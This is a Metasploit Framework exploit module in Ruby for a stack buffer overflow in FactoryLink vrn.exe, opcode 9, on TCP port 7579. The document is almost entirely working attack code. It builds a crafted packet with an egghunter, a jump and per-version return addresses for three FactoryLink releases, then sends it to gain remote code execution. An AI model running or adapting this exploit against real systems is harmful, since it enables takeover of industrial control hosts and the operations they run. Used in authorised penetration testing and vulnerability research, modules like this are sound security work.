FactoryLink vrn.exe Opcode 9 Buffer Overflow

##
# $Id: factorylink_vrn_09.rb 12998 2011-06-21 21:08:57Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = AverageRanking

 include Msf::Exploit::Remote::Tcp
 include Msf::Exploit::Remote::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'FactoryLink vrn.exe Opcode 9 Buffer Overflow',
   'Description'    => %q{
     This module exploits a stack buffer overflow in FactoryLink 7.5, 7.5 SP2,
    and 8.0.1.703.  By sending a specially crafted packet, an attacker may be able to
    execute arbitrary code due to the improper use of a vsprintf() function while
    processing the user-supplied text field.  Originally found and posted by
    Luigi Auriemma.
   },
   'Author'         =>
    [
     'Luigi Auriemma', # Public exploit
     'hal'             # Metasploit module
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 12998 $',
   'References'     =>
    [
     ['OSVDB', '72815'],
     ['URL', 'http://aluigi.altervista.org/adv/factorylink_4-adv.txt']
    ],
   'Privileged'     => true,
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'process',
    },
   'Payload'        =>
    {
     'Space'    => 885,
     'BadChars' => "\x00",
     'StackAdjustment' => -3500,
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     [ 'FactoryLink 7.5',        { 'Ret' => 0x1c0106ac, 'padding' => 0 } ],
     [ 'FactoryLink 7.5 SP2',    { 'Ret' => 0x1c01069c, 'padding' => 0 } ],
     [ 'FactoryLink 8.0.1.703',  { 'Ret' => 0x1c01087c, 'padding' => 4 } ],
    ],
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Mar 21 2011'))

  register_options([Opt::RPORT(7579)], self.class)
 end

 def exploit
  connect

  #The use of egghunter seems appropriate due to the small buffer in [ESP+8]
  hunter = generate_egghunter(payload.encoded, payload_badchars,
   { :checksum => true, :startreg => 'ebp'})

  egg = hunter[1]

  header =   "\x3f\x3f\x3f\x3f"
  header <<  "\xff\x55"
  header <<  "\x09\x00"
  header <<  "\x3f\x3f\xff\xff\x00\x00\x3f\x3f"
  header <<  "\x01\x00\x3f\x3f\x3f\x3f\x3f\x3f"
  header <<  "\x3f\x3f\x3f\x3f\x3f\x3f\x3f\x3f"
  header <<  "\x3f\x3f"
  header <<  "\xff\xff\xff\xff"
  header <<  "\x3f\x3f"

  request =  header
  request << rand_text_alpha_upper(100)
  request << egg
  request << rand_text_alpha(target['padding'])
  request << "\xeb\x06\x90\x90"
  request << [target.ret].pack('V')
  request << make_nops(24)
  request << hunter[0]
  request << rand_text_alpha_upper(100000)

  print_status("Trying target #{target.name} with #{request.size} bytes")
  sock.put(request)

  handler
  disconnect
 end
end